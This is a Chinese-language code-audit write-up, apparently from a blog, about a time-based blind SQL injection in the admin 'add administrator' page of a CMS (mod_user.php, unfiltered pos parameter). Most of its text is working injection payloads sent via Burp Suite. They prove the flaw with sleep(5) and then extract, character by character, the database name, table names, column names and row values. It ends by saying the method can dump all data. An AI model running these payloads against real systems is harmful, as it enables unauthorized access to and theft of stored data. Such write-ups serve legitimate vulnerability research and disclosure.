一次代码审计盲注

官网下载最新的安装包2019.3.13
具体文件安装后admindm-yourname\mod_account\mod_user.php
既http://域名/admindm-yourname\mod_account\mod_user.php
代码分析
一次代码审计盲注
登录后在添加管理处,存在修改pos参数,通过post传递值,无任何过滤,无回显,可进行时间盲注
一次代码审计盲注

在bp中添加‘and sleep(5) --+证明注入
一次代码审计盲注

因为数据库用户数为2所以时间为11s。这里需指定用户id,可点击管理员修改得到任一用户ID
一次代码审计盲注
既bp中k=1 ‘ where id =107 and sleep(5) --+
一次代码审计盲注
插入数据库代码

注入存在,开始注数据
猜数据库长度
k=1’ where id =107 and if(length(database())=5,sleep(5),1)–+
一次代码审计盲注

截取数据库第一个字符
and If(ascii(substr(database(),1,1))=100,sleep(10),1)–+
一次代码审计盲注

对于dtcms第一个d,acsii码为100.修改为substr(database(),2,1即可第二位,不在演示,最终得到库名为dtcms(建库时输错,本cms为dmcms)
爆dtcms库第一个表长度,and If(length((select table_name from information_schema.tables where table_schema=‘dtcms’ limit 0,1))=9,sleep(5),1)–+得到长度为9,将limit 0,1换为1,1既第二个表,不在演示
一次代码审计盲注
爆第一个表名第一位
If(ascii(substr((select table_name from information_schema.tables where table_schema=‘dtcms’ limit 0,1),1,1))=122,sleep(5),1)–+
一次代码审计盲注
这样得到第一个表第一个字符,将1,1改为2,1既第二个字符,以此将第一个表明查询出为zzz_album
爆zzz_album表的第一个列名长度and If(length((select column_name from information_schema.columns where table_schema='dtcms‘ and table_name=‘zzz_album’ limit 0,1))=8,sleep(10),1)–+
一次代码审计盲注得到第一列列名长度为2
猜第一列列名and If(ascii(substr((select column_name from information_schema.columns where table_schema=‘dtcms’ and table_name=‘zzz_album’ limit 0,1),1,1))=105,sleep(5),1)–+
一次代码审计盲注

得到第一位为i,同上第二位为d。
猜Id列第一个数据的长度
If(length((select id from dtcms. zzz_album limit 0,1))=3,sleep(5),1)–+
一次代码审计盲注
长度为3
猜id列第一个数据一个字符
and If(ascii(substr((select id from dtcms. zzz_album limit 0,1),1,1))=49,sleep(5),1)—
一次代码审计盲注

猜出第一个为1,依次猜出为7,7
一次代码审计盲注
一次代码审计盲注
得到数据id第一列第一个数据为177
一次代码审计盲注
重复以上方法可全部注出